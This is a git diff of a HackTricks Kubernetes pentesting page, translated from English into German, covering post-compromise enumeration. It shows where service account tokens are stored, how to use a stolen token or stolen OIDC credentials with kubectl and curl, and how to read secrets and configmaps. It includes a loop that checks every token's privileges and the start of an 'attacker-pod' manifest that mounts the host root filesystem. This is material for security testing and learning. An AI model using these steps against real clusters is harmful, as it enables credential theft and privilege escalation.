mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 17:53:37 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -4,91 +4,86 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
|
||||
Wenn Sie kompromittierten Zugriff auf eine Maschine haben, hat der Benutzer möglicherweise Zugriff auf eine Kubernetes-Plattform. Das Token befindet sich normalerweise in einer Datei, die durch die **Umgebungsvariable `KUBECONFIG`** oder **innerhalb von `~/.kube`** angegeben wird.
|
||||
|
||||
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
|
||||
In diesem Ordner finden Sie möglicherweise Konfigurationsdateien mit **Tokens und Konfigurationen zur Verbindung mit dem API-Server**. In diesem Ordner finden Sie auch einen Cache-Ordner mit zuvor abgerufenen Informationen.
|
||||
|
||||
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
|
||||
Wenn Sie ein Pod in einer Kubernetes-Umgebung kompromittiert haben, gibt es andere Orte, an denen Sie Tokens und Informationen über die aktuelle K8-Umgebung finden können:
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
|
||||
Bevor Sie fortfahren, wenn Sie nicht wissen, was ein Service in Kubernetes ist, empfehle ich Ihnen, **diesen Link zu folgen und mindestens die Informationen über die Kubernetes-Architektur zu lesen.**
|
||||
|
||||
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
Entnommen aus der Kubernetes [Dokumentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
|
||||
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
|
||||
_„Wenn Sie ein Pod erstellen, wird ihm automatisch das_ Standard-_Service-Konto im selben Namespace zugewiesen, wenn Sie kein Service-Konto angeben.“_
|
||||
|
||||
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
|
||||
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
|
||||
**ServiceAccount** ist ein von Kubernetes verwaltetes Objekt, das verwendet wird, um eine Identität für Prozesse bereitzustellen, die in einem Pod ausgeführt werden.\
|
||||
Jedes Service-Konto hat ein geheimes Token, das damit verbunden ist, und dieses Geheimnis enthält ein Träger-Token. Dies ist ein JSON Web Token (JWT), eine Methode zur sicheren Darstellung von Ansprüchen zwischen zwei Parteien.
|
||||
|
||||
Usually **one** of the directories:
|
||||
In der Regel enthält **einer** der Verzeichnisse:
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/secrets/kubernetes.io/serviceaccount`
|
||||
|
||||
contain the files:
|
||||
die Dateien:
|
||||
|
||||
- **ca.crt**: It's the ca certificate to check kubernetes communications
|
||||
- **namespace**: It indicates the current namespace
|
||||
- **token**: It contains the **service token** of the current pod.
|
||||
- **ca.crt**: Es ist das CA-Zertifikat zur Überprüfung der Kubernetes-Kommunikation
|
||||
- **namespace**: Es zeigt den aktuellen Namespace an
|
||||
- **token**: Es enthält das **Service-Token** des aktuellen Pods.
|
||||
|
||||
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
Jetzt, da Sie das Token haben, können Sie den API-Server in der Umgebungsvariable **`KUBECONFIG`** finden. Für weitere Informationen führen Sie `(env | set) | grep -i "kuber|kube`**`"`** aus.
|
||||
|
||||
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
|
||||
Das Service-Konto-Token wird mit dem Schlüssel signiert, der sich in der Datei **sa.key** befindet, und von **sa.pub** validiert.
|
||||
|
||||
Default location on **Kubernetes**:
|
||||
Standardstandort auf **Kubernetes**:
|
||||
|
||||
- /etc/kubernetes/pki
|
||||
|
||||
Default location on **Minikube**:
|
||||
Standardstandort auf **Minikube**:
|
||||
|
||||
- /var/lib/localkube/certs
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
|
||||
_**Hot Pods sind**_ Pods, die ein privilegiertes Service-Konto-Token enthalten. Ein privilegiertes Service-Konto-Token ist ein Token, das die Berechtigung hat, privilegierte Aufgaben wie das Auflisten von Geheimnissen, das Erstellen von Pods usw. auszuführen.
|
||||
|
||||
## RBAC
|
||||
|
||||
If you don't know what is **RBAC**, **read this section**.
|
||||
Wenn Sie nicht wissen, was **RBAC** ist, **lesen Sie diesen Abschnitt**.
|
||||
|
||||
## GUI Applications
|
||||
## GUI-Anwendungen
|
||||
|
||||
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
|
||||
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
- **k9s**: Eine GUI, die einen Kubernetes-Cluster über das Terminal auflistet. Überprüfen Sie die Befehle in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Schreiben Sie `:namespace` und wählen Sie alle aus, um dann Ressourcen in allen Namespaces zu suchen.
|
||||
- **k8slens**: Es bietet einige kostenlose Testtage: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
In order to enumerate a K8s environment you need a couple of this:
|
||||
Um eine K8s-Umgebung zu enumerieren, benötigen Sie ein paar Dinge:
|
||||
|
||||
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
|
||||
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
|
||||
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
|
||||
- Ein **gültiges Authentifizierungstoken**. Im vorherigen Abschnitt haben wir gesehen, wo man nach einem Benutzertoken und einem Service-Konto-Token suchen kann.
|
||||
- Die **Adresse (**_**https://host:port**_**) des Kubernetes-API**. Dies kann normalerweise in den Umgebungsvariablen und/oder in der Kube-Konfigurationsdatei gefunden werden.
|
||||
- **Optional**: Das **ca.crt zur Überprüfung des API-Servers**. Dies kann an denselben Orten gefunden werden, an denen das Token gefunden werden kann. Dies ist nützlich, um das Zertifikat des API-Servers zu überprüfen, aber wenn Sie `--insecure-skip-tls-verify` mit `kubectl` oder `-k` mit `curl` verwenden, benötigen Sie dies nicht.
|
||||
|
||||
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
|
||||
Mit diesen Details können Sie **Kubernetes enumerieren**. Wenn die **API** aus irgendeinem Grund über das **Internet** **zugänglich** ist, können Sie diese Informationen einfach herunterladen und die Plattform von Ihrem Host aus enumerieren.
|
||||
|
||||
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
|
||||
In der Regel befindet sich der **API-Server jedoch in einem internen Netzwerk**, daher müssen Sie einen **Tunnel** durch die kompromittierte Maschine erstellen, um von Ihrer Maschine darauf zuzugreifen, oder Sie können die [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) Binärdatei hochladen oder **`curl/wget/anything`** verwenden, um rohe HTTP-Anfragen an den API-Server zu senden.
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
|
||||
### Unterschiede zwischen den Verben `list` und `get`
|
||||
|
||||
Mit **`get`** Berechtigungen können Sie Informationen über spezifische Assets (_`describe`-Option in `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
|
||||
If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_):
|
||||
|
||||
Wenn Sie die **`list`** Berechtigung haben, dürfen Sie API-Anfragen ausführen, um eine Art von Vermögenswert aufzulisten (_`get` Option in `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
|
||||
If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets:
|
||||
|
||||
Wenn Sie die **`watch`**-Berechtigung haben, dürfen Sie API-Anfragen ausführen, um Ressourcen zu überwachen:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -96,16 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
```
|
||||
|
||||
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
|
||||
Sie öffnen eine Streaming-Verbindung, die Ihnen das vollständige Manifest eines Deployments zurückgibt, wann immer es sich ändert (oder wenn ein neues erstellt wird).
|
||||
|
||||
> [!CAUTION]
|
||||
> The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
|
||||
> Die folgenden `kubectl`-Befehle zeigen nur, wie man die Objekte auflistet. Wenn Sie auf die Daten zugreifen möchten, müssen Sie `describe` anstelle von `get` verwenden.
|
||||
|
||||
### Using curl
|
||||
|
||||
From inside a pod you can use several env variables:
|
||||
### Verwendung von curl
|
||||
|
||||
Von innerhalb eines Pods können Sie mehrere Umgebungsvariablen verwenden:
|
||||
```bash
|
||||
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
|
||||
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
|
||||
@@ -115,28 +108,24 @@ export CACERT=${SERVICEACCOUNT}/ca.crt
|
||||
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
|
||||
> Standardmäßig kann das Pod den **kube-api server** im Domainnamen **`kubernetes.default.svc`** erreichen und Sie können das kube-Netzwerk in **`/etc/resolv.config`** sehen, da Sie hier die Adresse des Kubernetes-DNS-Servers finden (die ".1" desselben Bereichs ist der kube-api-Endpunkt).
|
||||
|
||||
### Using kubectl
|
||||
### Verwendung von kubectl
|
||||
|
||||
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
|
||||
|
||||
By default, The APISERVER is communicating with `https://` schema
|
||||
Mit dem Token und der Adresse des API-Servers verwenden Sie kubectl oder curl, um darauf zuzugreifen, wie hier angegeben:
|
||||
|
||||
Standardmäßig kommuniziert der APISERVER mit dem `https://`-Schema.
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> Wenn kein `https://` in der URL vorhanden ist, kann es zu einem Fehler wie Bad Request kommen.
|
||||
|
||||
> if no `https://` in url, you may get Error Like Bad Request.
|
||||
Sie können ein [**offizielles kubectl-Spickzettel hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) finden. Das Ziel der folgenden Abschnitte ist es, in geordneter Weise verschiedene Optionen zur Enumeration und zum Verständnis des neuen K8s, auf das Sie Zugriff erhalten haben, zu präsentieren.
|
||||
|
||||
You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
|
||||
|
||||
To find the HTTP request that `kubectl` sends you can use the parameter `-v=8`
|
||||
Um die HTTP-Anfrage zu finden, die `kubectl` sendet, können Sie den Parameter `-v=8` verwenden.
|
||||
|
||||
#### MitM kubectl - Proxyfying kubectl
|
||||
|
||||
```bash
|
||||
# Launch burp
|
||||
# Set proxy
|
||||
@@ -145,12 +134,10 @@ export HTTPS_PROXY=http://localhost:8080
|
||||
# Launch kubectl
|
||||
kubectl get namespace --insecure-skip-tls-verify=true
|
||||
```
|
||||
|
||||
### Current Configuration
|
||||
### Aktuelle Konfiguration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Kubectl" }}
|
||||
|
||||
```bash
|
||||
kubectl config get-users
|
||||
kubectl config get-contexts
|
||||
@@ -160,43 +147,37 @@ kubectl config current-context
|
||||
# Change namespace
|
||||
kubectl config set-context --current --namespace=<namespace>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
If you managed to steal some users credentials you can **configure them locally** using something like:
|
||||
|
||||
Wenn es Ihnen gelungen ist, einige Benutzeranmeldeinformationen zu stehlen, können Sie **sie lokal konfigurieren** mit etwas wie:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
--auth-provider-arg=idp-issuer-url=( issuer url ) \
|
||||
--auth-provider-arg=client-id=( your client id ) \
|
||||
--auth-provider-arg=client-secret=( your client secret ) \
|
||||
--auth-provider-arg=refresh-token=( your refresh token ) \
|
||||
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
|
||||
--auth-provider-arg=id-token=( your id_token )
|
||||
--auth-provider=oidc \
|
||||
--auth-provider-arg=idp-issuer-url=( issuer url ) \
|
||||
--auth-provider-arg=client-id=( your client id ) \
|
||||
--auth-provider-arg=client-secret=( your client secret ) \
|
||||
--auth-provider-arg=refresh-token=( your refresh token ) \
|
||||
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
|
||||
--auth-provider-arg=id-token=( your id_token )
|
||||
```
|
||||
### Unterstützte Ressourcen abrufen
|
||||
|
||||
### Get Supported Resources
|
||||
|
||||
With this info you will know all the services you can list
|
||||
Mit diesen Informationen wissen Sie, welche Dienste Sie auflisten können
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k api-resources --namespaced=true #Resources specific to a namespace
|
||||
k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Current Privileges
|
||||
### Aktuelle Berechtigungen abrufen
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k auth can-i --list #Get privileges in general
|
||||
k auth can-i --list -n custnamespace #Get privileves in custnamespace
|
||||
@@ -204,403 +185,336 @@ k auth can-i --list -n custnamespace #Get privileves in custnamespace
|
||||
# Get service account permissions
|
||||
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -i -s -k -X $'POST' \
|
||||
-H $'Content-Type: application/json' \
|
||||
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
|
||||
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
|
||||
-H $'Content-Type: application/json' \
|
||||
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
|
||||
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
Eine weitere Möglichkeit, Ihre Berechtigungen zu überprüfen, ist die Verwendung des Tools: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
|
||||
You can learn more about **Kubernetes RBAC** in:
|
||||
Sie können mehr über **Kubernetes RBAC** erfahren in:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:
|
||||
**Sobald Sie wissen, welche Berechtigungen** Sie haben, überprüfen Sie die folgende Seite, um herauszufinden, **ob Sie diese ausnutzen können**, um Berechtigungen zu eskalieren:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Get Others roles
|
||||
### Andere Rollen abrufen
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get roles
|
||||
k get clusterroles
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
|
||||
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get namespaces
|
||||
### Holen Sie sich Namespaces
|
||||
|
||||
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.
|
||||
Kubernetes unterstützt **mehrere virtuelle Cluster**, die von demselben physischen Cluster unterstützt werden. Diese virtuellen Cluster werden **Namespaces** genannt.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get namespaces
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get secrets
|
||||
### Geheimnisse abrufen
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get secrets -o yaml
|
||||
k get secrets -o yaml -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
|
||||
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
If you can read secrets you can use the following lines to get the privileges related to each to token:
|
||||
|
||||
Wenn Sie Geheimnisse lesen können, können Sie die folgenden Zeilen verwenden, um die Berechtigungen zu erhalten, die mit jedem Token verbunden sind:
|
||||
```bash
|
||||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||||
```
|
||||
### Dienstkonten abrufen
|
||||
|
||||
### Get Service Accounts
|
||||
|
||||
As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
|
||||
Wie zu Beginn dieser Seite besprochen **wird einem Pod normalerweise ein Dienstkonto zugewiesen**. Daher kann das Auflisten der Dienstkonten, ihrer Berechtigungen und wo sie ausgeführt werden, einem Benutzer ermöglichen, Privilegien zu eskalieren.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get serviceaccounts
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Deployments
|
||||
### Holen Sie sich Bereitstellungen
|
||||
|
||||
The deployments specify the **components** that need to be **run**.
|
||||
Die Bereitstellungen geben die **Komponenten** an, die **ausgeführt** werden müssen.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get deployments
|
||||
k get deployments -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Pods
|
||||
### Pods abrufen
|
||||
|
||||
The Pods are the actual **containers** that will **run**.
|
||||
Die Pods sind die eigentlichen **Container**, die **ausgeführt** werden.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get pods
|
||||
k get pods -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Services
|
||||
### Dienste abrufen
|
||||
|
||||
Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
|
||||
Kubernetes **Dienste** werden verwendet, um **einen Dienst an einem bestimmten Port und einer bestimmten IP** bereitzustellen (der als Lastenausgleich für die Pods fungiert, die tatsächlich den Dienst anbieten). Es ist interessant zu wissen, wo Sie andere Dienste finden können, um zu versuchen, anzugreifen.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get services
|
||||
k get services -n custnamespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get nodes
|
||||
### Knoten abrufen
|
||||
|
||||
Get all the **nodes configured inside the cluster**.
|
||||
Holen Sie sich alle **Knoten, die im Cluster konfiguriert sind**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get nodes
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/nodes/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get DaemonSets
|
||||
### DaemonSets abrufen
|
||||
|
||||
**DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
|
||||
**DaemonSets** ermöglichen es, sicherzustellen, dass ein **spezifischer Pod auf allen Knoten** des Clusters (oder auf den ausgewählten) läuft. Wenn Sie den DaemonSet löschen, werden auch die von ihm verwalteten Pods entfernt.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get daemonsets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get cronjob
|
||||
### Cronjob abrufen
|
||||
|
||||
Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
|
||||
Cronjobs ermöglichen es, mithilfe einer crontab-ähnlichen Syntax den Start eines Pods zu planen, der eine bestimmte Aktion ausführt.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get cronjobs
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get configMap
|
||||
### Konfigurationsmappe abrufen
|
||||
|
||||
configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.
|
||||
Die configMap enthält immer viele Informationen und Konfigurationsdateien, die an Apps bereitgestellt werden, die in Kubernetes ausgeführt werden. Normalerweise finden Sie viele Passwörter, Geheimnisse und Tokens, die zur Verbindung und Validierung mit anderen internen/externen Diensten verwendet werden.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get configmaps # -n namespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Network Policies / Cilium Network Policies
|
||||
### Netzwerk-Richtlinien / Cilium Netzwerk-Richtlinien
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="First Tab" }}
|
||||
|
||||
{{#tab name="Erster Tab" }}
|
||||
```bash
|
||||
k get networkpolicies
|
||||
k get CiliumNetworkPolicies
|
||||
k get CiliumClusterwideNetworkPolicies
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Everything / All
|
||||
### Alles / Alle erhalten
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get all
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **Get all resources managed by helm**
|
||||
### **Alle von Helm verwalteten Ressourcen abrufen**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### **Get Pods consumptions**
|
||||
### **Pod-Verbrauch abfragen**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k top pod --all-namespaces
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Escaping from the pod
|
||||
|
||||
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
|
||||
### Ausbrechen aus dem Pod
|
||||
|
||||
Wenn Sie in der Lage sind, neue Pods zu erstellen, könnten Sie in der Lage sein, aus ihnen zum Knoten zu entkommen. Um dies zu tun, müssen Sie einen neuen Pod mit einer YAML-Datei erstellen, zum erstellten Pod wechseln und dann in das System des Knotens chrooten. Sie können bereits vorhandene Pods als Referenz für die YAML-Datei verwenden, da sie vorhandene Images und Pfade anzeigen.
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
|
||||
> if you need create pod on the specific node, you can use following command to get labels on node
|
||||
> Wenn Sie ein Pod auf einem bestimmten Knoten erstellen müssen, können Sie den folgenden Befehl verwenden, um die Labels auf dem Knoten abzurufen
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.
|
||||
|
||||
Then you create your attack.yaml file
|
||||
> Häufig sind kubernetes.io/hostname und node-role.kubernetes.io/master gute Labels zur Auswahl.
|
||||
|
||||
Dann erstellen Sie Ihre attack.yaml-Datei.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
labels:
|
||||
run: attacker-pod
|
||||
name: attacker-pod
|
||||
namespace: default
|
||||
labels:
|
||||
run: attacker-pod
|
||||
name: attacker-pod
|
||||
namespace: default
|
||||
spec:
|
||||
volumes:
|
||||
- name: host-fs
|
||||
hostPath:
|
||||
path: /
|
||||
